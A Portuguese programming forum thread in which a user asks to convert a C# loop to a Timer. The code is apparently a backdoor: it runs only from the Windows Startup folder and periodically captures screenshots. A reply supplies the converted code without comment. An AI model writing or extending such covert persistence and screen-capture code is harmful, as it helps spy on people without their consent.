Jump to content

Converter Thread.Sleep para Timer


Recommended Posts

Posted

Boas pessoal

Como o timer é mais eficiente e tem mais precisão alguém me pode ajudar a trocar um codigo que usa thread.sleep para um timer ?


Thread backdoorWorker;

int cicleSeconds = 60000;


 public Form1()
 {
	 InitializeComponent();
 }
 private void Form1_Load(object sender, EventArgs e)
 {
	 auto_copy();
 }
 private void auto_copy()
 {
	 string actualLocation = Application.ExecutablePath;
	 string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe";
	 if (actualLocation == targetLocation)
	 {
		 backdoorWorker = new Thread(background);
		 backdoorWorker.Start();
	 }
	 else
	 {
		 Environment.Exit(0);
	 }
 }
 private void background()
 {
	 while (run == true) //variavel run funciona so para manter o ciclo a funcionar
	 {
		 Thread.Sleep(cicleSeconds);

		 takePrintscreen();
	 }
 }
Posted

Não sei quanto a isso do timer ser mais eficiente e ter mais precisão,.

Podes adicionar o componente do timer ao form e fazer duplo click para criar o evento.

O código poderá ser algo assim:

private void auto_copy()
{
   string actualLocation = Application.ExecutablePath;
   string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe";
   if (actualLocation == targetLocation)
   {
       timer1.Interval = cicleSeconds * 1000;
       timer1.Enabled = true;
   }
   else
   {
       Environment.Exit(0);
   }
}

private void timer1_Tick(object sender, EventArgs e)
{
   if(run)
   {
       takePrintscreen();
   }
   else
   {
       timer1.Enabled = false;
   }
}
Posted

Não sei quanto a isso do timer ser mais eficiente e ter mais precisão,.

Podes adicionar o componente do timer ao form e fazer duplo click para criar o evento.

O código poderá ser algo assim:

private void auto_copy()
{
string actualLocation = Application.ExecutablePath;
string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe";
if (actualLocation == targetLocation)
{
	timer1.Interval = cicleSeconds * 1000;
	timer1.Enabled = true;
}
else
{
	Environment.Exit(0);
}
}

private void timer1_Tick(object sender, EventArgs e)
{
if(run)
{
	takePrintscreen();
}
else
{
	timer1.Enabled = false;
}
}

mas preciso de executar o timer1_tick em processo de background

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.